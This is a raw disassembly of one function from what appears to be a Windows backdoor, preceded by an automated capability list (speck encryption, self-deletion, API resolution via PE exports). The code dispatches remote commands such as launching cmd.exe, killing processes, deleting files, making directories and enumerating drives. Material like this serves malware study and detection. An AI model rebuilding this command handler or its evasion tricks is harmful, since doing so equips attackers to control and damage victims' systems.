Function at 0x4064ed
Capabilities:
Access peb ldr_data
Create thread
Encrypt data using speck
Get common file path
Get disk information
Move file
Resolve function by parsing pe exports
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x9188
call fcn.00401589
mov edx, dword [ecx + 4]
mov esi, dword [ecx + 8]
movzx eax, byte [ecx + 0xc]
mov edi, dword [ecx + 0x10]
lea ecx, [esp + 0x30]
mov dword [esp + 0x58], ecx
mov dword [ecx], edx
mov dword [ecx + 4], esi
and dword [ecx + 8], 0
lea ecx, [eax - 3]
cmp ecx, 0x10
jbe 0x406693
lea ecx, [eax - 0x2f]
cmp ecx, 9
jbe 0x40672d
cmp eax, 0x1b
je 0x4073a5
cmp eax, 0x21
je 0x40747f
cmp eax, 0x27
je 0x4073c5
cmp eax, 0x43
je 0x40712c
cmp eax, 0x49
mov dword [esp + 0xc], edi
je 0x407248
cmp eax, 0x4a
je 0x40713d
cmp eax, 0x4e
jne case.0x406699.7
lea edi, [esp + 0x140]
lea esi, [esp + 0x30]
mov ecx, edi
mov edx, esi
call fcn.00406325
movzx eax, word [edi + 4]
mov ebx, eax
test ax, ax
jne 0x407bae
mov eax, dword [esp + 0x140]
mov bx, 0xb
cmp eax, 0x100
ja 0x407bae
test eax, eax
je 0x40663e
mov ebx, dword [esp + 0xc]
lea edi, [esp + 0xa70]
mov ecx, edi
mov edx, dword [ebx + 0xf8]
push eax
push dword [ebx + 0xfc]
call fcn.004047e9
pop eax
pop ecx
movzx eax, word [edi + 8]
mov ebx, eax
test ax, ax
jne 0x407bae
mov edi, dword [esp + 0xa70]
mov ebx, dword [esp + 0xa74]
lea edx, [esp + 0xf0]
lea ecx, [esp + 0x860]
mov dword [edx], esi
push ebx
push edi
call fcn.0040a6b0
pop eax
pop ecx
mov ecx, edi
mov edx, ebx
push 9
push str._COMSPEC_
call fcn.004062f4
pop ecx
pop edx
test al, 1
je 0x40790a
mov eax, dword [esp + 0xc]
mov edx, edi
lea ecx, [eax + 0xf8]
push ebx
call fcn.00404f61
pop eax
mov eax, dword [esp + 0xc]
lea esi, [esp + 0x1180]
mov ecx, esi
mov edx, dword [eax + 0xf8]
push 7
push str.cmd.exe
push dword [eax + 0xfc]
call fcn.00404a3b
add esp, 0xc
xor eax, eax
cmp word [esi + 8], 0
mov edi, 0
jne 0x406682
mov eax, dword [esp + 0x1184]
mov edi, dword [esp + 0x1180]
test edi, edi
je 0x40783c
mov dword [esp + 4], eax
jmp 0x40790e
mov dword [esp + 0xc], edi
xor eax, eax
jmp dword [ecx*4 + 0x42efa4]
mov ecx, dword [esp + 0xc]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 4
push 0x42b086
push 0x1a
call fcn.0040899c
add esp, 0xc
test ax, ax
jne case.0x406699.6
mov eax, dword [esp + 0xc]
lea esi, [eax + 0xf4]
push esi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
xor edi, edi
mov edx, dword [esp + 0xc]
mov eax, dword [edx + 0xe0]
test eax, eax
je 0x4066f7
cmp dword [edx + 0xe4], 0
je 0x408879
mov ecx, dword [eax - 4]
jmp 0x406706
xor ecx, ecx
cmp dword [edx + 0xe4], 0
je 0x408879
inc edi
neg ecx
lea edx, [ecx + edi]
cmp edx, 1
je 0x408879
cmp byte [eax + edi - 1], 0
js 0x40671f
inc edi
jmp 0x406709
mov eax, dword [eax - 0xc]
mov eax, dword [eax + edi*4 - 4]
mov ecx, dword [eax]
call dword [eax + 4]
jmp 0x4066d7
mov dword [esp + 0xc], edi
push 4
pop edi
jmp dword [ecx*4 + 0x42efe8]
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
imul ecx, dword [esp + 0x1180], 0xf4240
xor edx, edx
mov esi, eax
call fcn.00404d8b
mov eax, esi
jmp case.0x406699.6
mov ecx, dword [esp + 0xc]
mov edx, str.not_support
push 0xb
jmp 0x407810
xor ecx, ecx
lea edx, [esp + 0x58]
inc ecx
push dword [esp + 0xc]
jmp 0x407133
lea ebx, [esp + 0x550]
lea edi, [esp + 0x1180]
mov eax, edx
mov ecx, ebx
mov edx, edi
push esi
push eax
call fcn.0040901b
pop eax
pop ecx
cmp word [ebx + 4], 0
mov esi, dword [esp + 0xc]
jne 0x4067f3
mov eax, dword [esp + 0x550]
cmp eax, 0x104
ja 0x4067f3
add eax, eax
lea ecx, [esp + 0xa70]
mov word [ecx], ax
mov word [ecx + 2], ax
mov dword [ecx + 4], edi
push ecx
call sub.ntdll.dll_RtlSetCurrentDirectory_U
cmp eax, 0xc0000013
je 0x4067f3
test eax, eax
je 0x4079fd
mov ecx, esi
mov edx, 0x42b08b
push 2
jmp 0x407810
lea esi, [esp + 0xa70]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0xa70]
lea eax, [edi + 0xf4]
mov dword [esp], eax
push eax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov esi, dword [edi + 0xe0]
cmp dword [edi + 0xe4], 0
mov ecx, 0x42bd54
je 0x40762a
mov ecx, ebx
mov dword [esp + 8], ebx
call fcn.00409563
test esi, esi
je 0x4075cc
mov ecx, dword [esi - 4]
lea ebx, [ecx - 1]
jmp 0x4075d1
lea esi, [esp + 0xa70]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov edi, dword [esp + 0xa70]
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov al, byte [esp + 0x1180]
mov ecx, dword [esp + 0xc]
mov dword [ecx + 0xa8], edi
mov byte [ecx + 0xba], al
jmp 0x4079fd
mov edi, dword [esp + 0xc]
mov eax, edx
lea ebx, [esp + 0xa70]
mov ecx, ebx
mov edx, dword [edi + 0xf8]
push esi
push eax
push dword [edi + 0xfc]
call fcn.00404a3b
add esp, 0xc
movzx eax, word [ebx + 8]
test ax, ax
jne case.0x406699.6
lea eax, [edi + 0xf8]
mov esi, dword [esp + 0xa70]
mov ebx, edi
lea edi, [esp + 0x550]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xa74]
mov ecx, edi
mov edx, esi
push 0x42bafc
mov dword [esp + 8], eax
push eax
call fcn.004090dd
pop eax
pop ecx
cmp word [edi + 4], 0
je 0x40756c
mov ecx, ebx
mov edx, str.open
jmp 0x407597
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
cmp esi, 4
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x2c]
mov dword [esp + 0x10], eax
jae 0x4074c1
test esi, esi
je 0x407513
mov al, byte [edx]
jmp 0x40767b
cmp esi, 4
lea eax, [esp + 0x5c]
cmovae esi, edi
push esi
push edx
push eax
call fcn.0040307b
add esp, 0xc
lea edx, [esp + 0x30]
mov dword [edx + 8], esi
lea esi, [esp + 0xa8]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0xa8]
lea esi, [esp + 0xb0]
mov ecx, esi
mov edx, dword [eax + 0xf8]
push ebx
push dword [eax + 0xfc]
call fcn.004047e9
pop eax
pop ecx
movzx eax, word [esi + 8]
test ax, ax
jne case.0x406699.6
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0xb0]
mov esi, dword [esp + 0xb4]
lea ecx, [esp + 0x30]
add eax, 0xf8
mov dword [esp + 8], edx
mov dword [esp + 4], eax
push esi
call fcn.004064c2
mov edx, dword [esp + 0xc]
add esp, 4
xor ecx, ecx
inc ecx
test ax, ax
mov eax, ecx
mov ecx, dword [esp + 4]
jne 0x40828a
cmp byte [edx + ebx - 1], 0x2a
lea eax, [ebx - 1]
lea ebx, [esp + 0x550]
mov dword [esp], esi
mov ecx, ebx
cmovne eax, esi
push eax
call fcn.0040981e
pop eax
cmp word [ebx + 0x210], 0
jne 0x40826e
lea eax, [esp + 0x240]
push 0x210
push ebx
push eax
call fcn.0040307b
add esp, 0xc
lea edx, [esp + 0x244]
lea esi, [esp + 0x48]
mov ebx, dword [edx - 4]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 0x2c]
lea eax, [esp + 0x450]
mov dword [eax], 0x80100000
mov dword [eax + 4], ecx
and dword [eax + 8], 0
mov dword [esp + 0x14], ecx
xor ecx, ecx
inc ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], 0x100
mov ecx, esi
push eax
mov dword [esp + 0x14], ebx
push ebx
call fcn.0040987b
pop eax
pop ecx
movzx eax, word [esi + 4]
cmp eax, 0x17
je 0x407bb5
test eax, eax
je 0x407c05
jmp 0x408269
mov edi, edx
mov ecx, edx
mov edx, esi
call fcn.0040a71b
test eax, eax
je 0x407805
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov ebx, edx
lea edx, [esp + 0x68]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x2c]
mov dword [edx], ecx
lea ecx, [esp + 0xd4]
push ebx
push eax
call fcn.0040a5ea
pop eax
pop ecx
lea eax, [esp + 0xd4]
cmp word [eax + 4], 0
jne 0x407805
mov ebx, dword [esp + 0xd4]
mov ecx, edi
mov edx, esi
call fcn.00404b32
mov esi, edx
lea edi, [esp + 0x450]
lea edx, [esp + 0xa8]
mov dword [edx], ebx
mov ecx, edi
push 5
push esi
mov dword [esp + 0xc], eax
push eax
call fcn.0040ac1b
add esp, 0xc
movzx edi, word [edi + 8]
test di, di
jne 0x4077fa
mov edi, dword [esp + 4]
cmp byte [esp + 0x454], 0
mov dword [esp], ebx
je 0x4077f5
mov eax, dword [esp + 0x450]
lea ebx, [esp + 0x1180]
mov dword [esp + 8], eax
push 0x7208
push 0
push ebx
call fcn.00403060
add esp, 0xc
movzx eax, byte [ebx + 0x7200]
imul ecx, eax, 0x720
inc al
mov edx, eax
and dl, 0x1f
mov byte [ebx + 0x7200], dl
mov ebx, dword [esp + 8]
mov dword [esp + ecx + 0x1180], ebx
mov ebx, dword [esp]
and dword [esp + ecx + 0x1184], 0
and dword [esp + ecx + 0x1188], 0
mov byte [esp + ecx + 0x1590], 0
mov dword [esp + ecx + 0x1890], edi
mov dword [esp + ecx + 0x1894], esi
mov dword [esp + ecx + 0x1898], ebx
test al, 0x1f
je 0x407ea1
dec al
movzx eax, al
and eax, 0x1f
imul eax, eax, 0x720
lea esi, [esp + eax + 0x1180]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x860]
mov edx, esi
call fcn.0040a37f
cmp word [esp + 0x870], 0
jne 0x407e77
cmp byte [esp + 0x86c], 0
je 0x406fb2
mov bh, byte [esp + 0x868]
mov eax, dword [esp + 0x860]
mov ecx, dword [esp + 0x864]
cmp bh, 2
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
sete bl
test bl, 1
je 0x406ca9
mov al, byte [esp + 0x8380]
shl al, 3
sar al, 3
js 0x406d2e
lea ecx, [esp + 0xb0]
mov edx, esi
push 0x42bb70
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00409abf
add esp, 0xc
movzx edi, word [esp + 0xb4]
movzx eax, di
jmp dword [eax*4 + 0x42f07c]
mov edx, dword [esp + 4]
mov ecx, esi
push dword [esp + 8]
call fcn.0040ad26
pop ecx
mov edi, eax
cmp ax, 0x1c
ja 0x4078e4
movzx eax, di
cmp eax, 0x17
jne 0x406cd2
xor bl, 1
jmp 0x406c61
mov ecx, 0x1022fa00
bt ecx, eax
jb 0x4078e4
mov ecx, 0x101
bt ecx, eax
jb 0x406c13
jmp 0x4078e4
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x54]
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], eax
push dword [esp + 0x50]
call fcn.0040accb
pop ecx
test ax, ax
je 0x406d25
mov edi, eax
movzx eax, di
cmp eax, 8
je 0x406d25
cmp eax, 0x6c
jne 0x406f42
push dword [esp + 0x24]
call sub.ntdll.dll_NtClose
mov eax, dword [esi]
lea ecx, [esp + 0x140]
lea edx, [esp + 0x70]
mov dword [esp + 0x70], eax
movzx eax, bh
push eax
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.0040ac1b
add esp, 0xc
movzx edi, word [esp + 0x148]
test di, di
jne 0x407e48
cmp byte [esp + 0x144], 0
je 0x406c13
mov edi, dword [esp + 0x140]
mov edx, dword [esp + 4]
mov ecx, dword [esp + 8]
mov al, 1
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x60], edi
mov dword [esp + 0x54], edx
mov dword [esp + 0x50], ecx
mov dword [esp + 0xa70], edi
and dword [esp + 0xa74], 0
and dword [esp + 0xa78], 0
mov dword [esp + 0x1c], edi
mov byte [esp + 0xe80], 0
lea ecx, [esp + 0x240]
lea edx, [esp + 0xa70]
call fcn.0040a37f
movzx edi, word [esp + 0x250]
test di, di
jne 0x407e2f
cmp byte [esp + 0x24c], 0
je 0x406ef4
cmp byte [esp + 0x248], 2
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
sete bl
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
test bl, 1
je 0x406e48
lea ecx, [esp + 0xf0]
lea edx, [esp + 0x60]
push 0x42bb70
push dword [esp + 0x18]
push dword [esp + 0x20]
call fcn.00409abf
add esp, 0xc
movzx edi, word [esp + 0xf4]
movzx eax, di
jmp dword [eax*4 + 0x42f010]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x60]
push dword [esp + 0x14]
call fcn.0040ad26
pop ecx
mov edi, eax
cmp ax, 0x1c
ja 0x407e2f
movzx eax, di
cmp eax, 0x17
jne 0x406e73
xor bl, 1
jmp 0x406e11
mov ecx, 0x1022fa00
bt ecx, eax
jb 0x407e2f
mov ecx, 0x101
bt ecx, eax
jb 0x406dbe
jmp 0x407e2f
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
test byte [esp + 0x20], 1
je 0x406cf3
mov eax, dword [esi]
mov edx, dword [esp + 4]
lea ecx, [esp + 0x48]
mov dword [esp + 0x48], eax
push dword [esp + 8]
call fcn.0040accb
pop ecx
cmp ax, 0x6c
je 0x406d2e
mov edi, eax
movzx eax, di
test eax, eax
je 0x406c13
cmp eax, 8
je 0x406c13
jmp 0x406f4b
push dword [esp + 0x24]
call sub.ntdll.dll_NtClose
test di, di
je 0x406c13
jmp 0x407e48
mov ecx, dword [esi]
call case.0x40ac85.1
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x3c]
mov esi, dword [esp + eax + 0x1898]
mov edx, dword [esp + eax + 0x1890]
mov edi, dword [esp + eax + 0x1894]
mov al, byte [esp + 0x8380]
dec al
mov dword [esp + 0x3c], esi
mov dword [esp + 4], edx
mov dword [esp + 8], edi
and al, 0x1f
mov byte [esp + 0x8380], al
push edi
call fcn.0040accb
pop ecx
test ax, ax
je 0x40709b
movzx ecx, ax
mov edi, eax
cmp ecx, 8
je 0x40709b
cmp ecx, 0x6c
jne 0x408485
mov bl, 1
test bl, 1
je 0x407054
lea ecx, [esp + 0x80]
lea edx, [esp + 0x3c]
push 0x42bb70
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00409abf
add esp, 0xc
movzx edi, word [esp + 0x84]
movzx eax, di
jmp dword [eax*4 + 0x42f0e8]
mov edx, dword [esp + 4]
lea ecx, [esp + 0x3c]
push dword [esp + 8]
call fcn.0040ad26
pop ecx
mov edi, eax
cmp ax, 0x1c
ja 0x408160
movzx edx, di
cmp edx, 0x17
jne 0x40707f
xor bl, 1
jmp 0x40701d
mov ecx, 0x1022fa00
bt ecx, edx
jb 0x408160
mov ecx, 0x101
bt ecx, edx
jae 0x408160
mov al, byte [esp + 0x8380]
mov ebx, dword [esp]
jmp 0x406bf2
cmp esi, 4
cmovb edi, esi
lea esi, [esp + 0x1180]
push edi
push edx
push esi
call fcn.0040307b
add esp, 0xc
mov dword [esp + 0x38], edi
call sub.KERNEL32.dll_GetLogicalDrives
test eax, eax
je 0x4074d3
lea ecx, [esp + 0x1184]
lea edi, [esp + 0xa70]
lea edx, [esp + 0x550]
mov dword [edi], ecx
mov dword [edi + 4], 0xa
and dword [edi + 8], 0
mov ecx, eax
mov dword [edx], edi
call fcn.0040a656
mov ecx, dword [esp + 0xc]
xor edx, edx
mov eax, dword [edi + 8]
inc edx
lock xadd dword [ecx], edx
add eax, 4
push eax
push esi
push 0x16
jmp 0x40782c
lea edx, [esp + 0x58]
xor ecx, ecx
push edi
call fcn.0040ad7e
jmp 0x407815
lea edi, [esp + 0xb0]
lea esi, [esp + 0x30]
mov ecx, edi
mov edx, esi
call fcn.00406325
movzx eax, word [edi + 4]
test ax, ax
jne case.0x406699.6
mov ebx, dword [esp + 0xb0]
cmp ebx, 0x100
ja 0x4079fd
lea edx, [esp + 0x48]
lea eax, [esp + 0x140]
lea ecx, [esp + 0x80]
mov dword [edx], esi
push ebx
push eax
call fcn.0040a6b0
pop eax
pop ecx
lea edi, [esp + 0xf0]
mov edx, esi
mov ecx, edi
call fcn.00406325
movzx eax, word [edi + 4]
test ax, ax
jne case.0x406699.6
mov edi, dword [esp + 0xf0]
cmp edi, 0x100
ja 0x4079fd
lea edx, [esp + 0xd4]
lea eax, [esp + 0x860]
lea ecx, [esp + 0x450]
mov dword [edx], esi
push edi
push eax
call fcn.0040a6b0
pop eax
pop ecx
lea esi, [esp + 0xa70]
lea edx, [esp + 0x140]
mov ecx, esi
push ebx
call fcn.0040981e
pop eax
cmp word [esi + 0x210], 0
jne 0x40723a
lea eax, [esp + 0x240]
push 0x210
push esi
push eax
call fcn.0040307b
add esp, 0xc
lea esi, [esp + 0x1180]
lea edx, [esp + 0x860]
mov ecx, esi
push edi
call fcn.0040981e
pop eax
cmp word [esi + 0x210], 0
je 0x407cfe
mov ecx, dword [esp + 0xc]
mov edx, 0x42b0f3
jmp 0x4067fa
lea esi, [esp + 0x68]
lea edi, [esp + 0x30]
mov ecx, esi
mov edx, edi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov ebx, dword [esp + 0x68]
cmp ebx, 0x100
ja 0x4079fd
lea edx, [esp + 0xec]
lea eax, [esp + 0x450]
lea ecx, [esp + 0xa8]
mov dword [edx], edi
push ebx
push eax
call fcn.0040a6b0
pop eax
pop ecx
lea esi, [esp + 0x3c]
mov edx, edi
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov esi, dword [esp + 0x3c]
cmp esi, 0x100
ja 0x4079fd
lea edx, [esp + 0x5c]
lea eax, [esp + 0x140]
lea ecx, [esp + 0x60]
mov dword [edx], edi
push esi
push eax
call fcn.0040a6b0
pop eax
pop ecx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [esp + 8], esi
lea edi, [esp + 0x70]
lea edx, [esp + 0x44]
mov ecx, edi
mov eax, dword [eax + 0x10]
mov esi, dword [eax + 0x2c]
mov dword [edx], esi
push 0x42bafc
push ebx
lea eax, [esp + 0x458]
push eax
call fcn.0040a4e5
add esp, 0xc
cmp word [edi + 4], 0
jne 0x4080de
mov edx, dword [esp + 0x70]
mov ebx, dword [esp + 8]
lea edi, [esp + 0xf0]
mov ecx, edi
mov dword [esp + 4], edx
call fcn.0040910e
cmp word [edi + 0x48], 0
jne 0x4080d5
mov eax, dword [esp + 0xf8]
lea ecx, [esp + 0x140]
mov edx, ebx
mov dword [esp + 0x2c], esi
mov dword [esp], eax
mov eax, dword [esp + 0xfc]
mov dword [esp + 0x10], eax
call fcn.0040a71b
test eax, eax
je 0x407ea8
mov edi, edx
lea edx, [esp + 0x550]
mov dword [edx], esi
lea esi, [esp + 0x1180]
mov ecx, esi
push edi
push eax
call fcn.0040a5ea
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
je 0x407ec0
mov word [esp + 0xa4], ax
jmp 0x407ef5
lea ecx, [esp + 0x1180]
call fcn.004049ae
mov esi, edx
xor edx, edx
mov ecx, edi
inc edx
lock xadd dword [edi], edx
push esi
push eax
push 0x10
jmp 0x40782c
mov dword [esp + 0xc], edi
lea edi, [esp + 0x1180]
push edi
push 0x104
call sub.KERNEL32.dll_GetCurrentDirectoryW
test eax, eax
je 0x4074e3
lea ecx, [esp + 0x240]
add eax, eax
mov dword [ecx], edi
mov dword [ecx + 4], eax
and dword [ecx + 8], 0
xor edi, edi
lea ecx, [esp + 0x550]
lea edx, [esp + 0x240]
call fcn.00409639
cmp byte [esp + 0x554], 0
je 0x4074f8
movzx eax, byte [esp + 0x552]
movzx ebx, word [esp + 0x550]
lea ecx, [esp + 0x140]
shl eax, 0x10
or ebx, eax
mov edx, ebx
call fcn.0040970b
movzx eax, byte [esp + 0x142]
add eax, edi
cmp eax, 0xff
ja 0x4074e8
mov esi, 0x100
lea eax, [esp + edi + 0xa70]
lea ecx, [esp + 0x860]
mov edx, ebx
sub esi, edi
push esi
push eax
call fcn.00409753
pop eax
pop ecx
movzx eax, byte [esp + 0x862]
add edi, eax
jmp 0x4073f7
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne case.0x406699.6
mov ecx, dword [esp + 0x1180]
call fcn.0040aee8
test ax, ax
je 0x4075b7
mov ecx, edi
mov edx, str.kill
push 4
jmp 0x407810
movzx eax, byte [edx]
cmp eax, 0x5c
je 0x40751a
cmp eax, 0x2f
je 0x407530
jmp 0x40767b
mov ecx, dword [esp + 0xc]
mov edx, str.drivers
push 7
jmp 0x407810
call sub.KERNEL32.dll_GetLastError
mov ecx, dword [esp + 0xc]
mov edx, 0x42b098
push 3
jmp 0x407810
mov ecx, dword [esp + 0xc]
xor edx, edx
lea eax, [esp + 0xa70]
inc edx
lock xadd dword [ecx], edx
push edi
push eax
push 0x13
jmp 0x40782c
xor ebx, ebx
jmp 0x40799f
movzx ecx, byte [edx + 3]
cmp ecx, 0x5c
je 0x40775a
cmp ecx, 0x2f
jne 0x40768c
xor ecx, ecx
mov edi, edx
movzx edx, byte [edx + 1]
cmp edx, 0x2f
je 0x40754f
cmp edx, 0x3f
je 0x407667
cmp edx, 0x5c
jne 0x407679
movzx ecx, byte [edi + 2]
cmp ecx, 0x2e
je 0x407726
mov edx, edi
cmp ecx, 0x3f
je 0x407726
jmp 0x40767b
mov edi, dword [esp + 0x550]
lea ebx, [esp + 0x1180]
mov ecx, ebx
mov edx, edi
call fcn.0040910e
cmp word [ebx + 0x48], 0
je 0x407761
mov ecx, dword [esp + 0xc]
mov edx, str.stat
push 4
call fcn.004088b5
pop ecx
test ax, ax
je 0x4079fd
mov ecx, dword [esp + 8]
mov edx, esi
push dword [esp + 4]
jmp 0x40828b
xor edx, edx
mov ecx, edi
inc edx
lock xadd dword [edi], edx
push 7
push str.kill_ok
jmp 0x40782a
xor ecx, ecx
xor ebx, ebx
dec ebx
mov edi, dword [esp + 8]
shr edx, 0x19
and eax, ebx
mov dword [esp + 4], edx
mov edx, ebx
mov bl, byte [esi + eax]
sub ecx, 1
setb bh
test bl, bl
je 0x40760b
test bh, bh
jne 0x40760b
test bl, bl
jns 0x407606
and bl, 0x7f
cmp byte [esp + 4], bl
jne 0x407606
mov ebx, dword [esi - 8]
cmp dword [ebx + eax*4], edi
je 0x407619
inc eax
and eax, edx
jmp 0x4075e0
mov edi, dword [esp + 0xc]
mov ebx, dword [esp]
mov ecx, 0x42bd54
jmp 0x40762d
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x1180]
mov dword [ecx], eax
mov byte [ecx + 4], 1
mov ebx, dword [esp]
cmp byte [ecx + 4], 0
je 0x40765c
mov eax, dword [ecx]
mov ecx, dword [esi - 0xc]
mov edx, dword [ecx + eax*4]
mov byte [esi + eax], 1
movq xmm0, qword [edi + 0xe4]
paddd xmm0, xmmword [0x42a970]
movq qword [edi + 0xe4], xmm0
mov ecx, dword [edx]
call dword [edx + 4]
push ebx
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
jmp 0x4079fd
cmp byte [edi + 2], 0x3f
sete dl
test cl, dl
mov edx, edi
je 0x40767b
jmp 0x407726
mov edx, edi
cmp al, 0x5c
je 0x407687
movzx eax, al
cmp eax, 0x2f
jne 0x4076c2
cmp esi, 2
jb 0x4076ba
movzx eax, byte [edx + 1]
cmp eax, 0x5c
je 0x40769a
cmp eax, 0x2f
jne 0x4076ba
cmp esi, 3
jne 0x407715
push 3
pop ebx
movzx eax, byte [edx + 2]
cmp eax, 0x2e
je 0x40799f
cmp eax, 0x3f
je 0x40799f
jmp 0x40771a
xor ebx, ebx
inc ebx
jmp 0x40799f
xor ebx, ebx
cmp esi, 2
jb 0x40799f
cmp byte [edx + 1], 0x3a
jne 0x40799f
push 2
pop ebx
cmp esi, 3
jb 0x40799f
movzx eax, byte [edx + 2]
cmp eax, 0x5c
je 0x4076f5
cmp eax, 0x2f
jne 0x40799f
push 3
pop ebx
cmp ebx, esi
jae 0x40799d
movzx eax, byte [edx + ebx]
cmp eax, 0x5c
je 0x407712
cmp eax, 0x2f
jne 0x40799f
inc ebx
jmp 0x4076f8
jb 0x407736
mov al, byte [edx + 2]
cmp al, 0x2f
je 0x407726
movzx eax, al
cmp eax, 0x5c
jne 0x407736
mov ecx, dword [esp + 0xc]
mov edx, str.mkdir
push 5
jmp 0x407810
push 2
pop ebx
cmp ebx, esi
jae 0x40787f
movzx eax, byte [edx + ebx]
cmp eax, 0x2f
je 0x407881
cmp eax, 0x5c
je 0x407881
inc ebx
jmp 0x407739
mov cl, 1
jmp 0x407532
mov eax, dword [esp + 0x1188]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcessHeap
mov bx, 2
test eax, eax
je 0x407b9e
push 0x28
push 0
mov dword [esp + 0x18], eax
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x407b9e
mov ebx, eax
mov ecx, eax
mov eax, dword [esp + 4]
add ebx, 3
and ebx, 0xfffffffc
mov dword [ebx], esi
mov dword [ebx + 4], eax
mov eax, dword [esp]
mov dword [ebx + 8], eax
mov eax, dword [esp + 0xc]
mov dword [ebx + 0xc], edi
mov edi, ecx
mov dword [ebx + 0x10], eax
mov eax, dword [esp + 0x10]
mov byte [ebx + 0x20], 0
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x18], eax
push 0
push 0
push ebx
push 0x40928a
push 0x1000000
push 0
call sub.KERNEL32.dll_CreateThread
test eax, eax
je 0x407b89
mov dword [ebx + 0x1c], eax
add ebx, 0x14
mov ecx, ebx
call fcn.00409542
jmp 0x4079fd
xor edi, edi
mov ebx, dword [esp]
push ebx
call sub.ntdll.dll_NtClose
test di, di
je 0x407818
mov ecx, dword [esp + 0xc]
mov edx, str.delete
push 6
call fcn.004088b5
pop ecx
jmp case.0x406699.6
mov ecx, dword [esp + 0xc]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 9
push str.delete_ok
push 0
call fcn.0040899c
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 8
pop esi
mov ecx, dword [esp + 0xc]
mov edx, str.shell_path
push 0xa
call fcn.004088b5
pop ecx
test ax, ax
cmove eax, esi
mov ebx, eax
jmp 0x407bae
mov ebx, esi
cmp ebx, esi
mov eax, esi
cmova eax, ebx
cmp ebx, esi
jae 0x40789d
movzx ecx, byte [edx + ebx]
cmp ecx, 0x5c
je 0x40789a
cmp ecx, 0x2f
jne 0x40789f
inc ebx
jmp 0x407888
mov ebx, eax
cmp ebx, esi
mov eax, esi
cmova eax, ebx
cmp ebx, esi
jae 0x4078bb
movzx ecx, byte [edx + ebx]
cmp ecx, 0x2f
je 0x4078bd
cmp ecx, 0x5c
je 0x4078bd
inc ebx
jmp 0x4078a6
mov ebx, eax
cmp ebx, esi
mov eax, esi
cmova eax, ebx
cmp ebx, esi
jae 0x4078dd
movzx ecx, byte [edx + ebx]
cmp ecx, 0x5c
je 0x4078da
cmp ecx, 0x2f
jne 0x40799f
inc ebx
jmp 0x4078c4
mov ebx, eax
jmp 0x40799f
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4077f7
mov ecx, dword [esi]
call case.0x40ac85.1
add esi, 0x720
jmp 0x4078f2
mov dword [esp + 4], ebx
lea ebx, [esp + 0x240]
lea esi, [esp + 0x30]
mov ecx, ebx
mov edx, esi
call fcn.00406325
movzx ebx, word [ebx + 4]
test bx, bx
je 0x40793c
mov ecx, dword [esp + 0xc]
add ecx, 0xf8
mov edx, edi
jmp 0x407ba4
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0xc]
lea ebx, [ecx + 0xf8]
cmp eax, 0x1001
jb 0x40796b
mov ecx, ebx
mov edx, edi
push dword [esp + 4]
call fcn.00404f61
pop eax
mov bx, 0x5f
jmp 0x407bae
mov edx, dword [ebx]
lea ecx, [esp + 0x1180]
push eax
mov dword [esp + 0xc], ebx
push dword [ebx + 4]
call fcn.004047e9
pop eax
pop ecx
lea eax, [esp + 0x1180]
movzx ebx, word [eax + 8]
test bx, bx
je 0x407c41
mov ecx, dword [esp + 8]
jmp 0x407935
mov ebx, esi
mov dword [esp], edx
lea ecx, [edx - 1]
xor eax, eax
mov edx, ebx
cmp esi, edx
je 0x4079fd
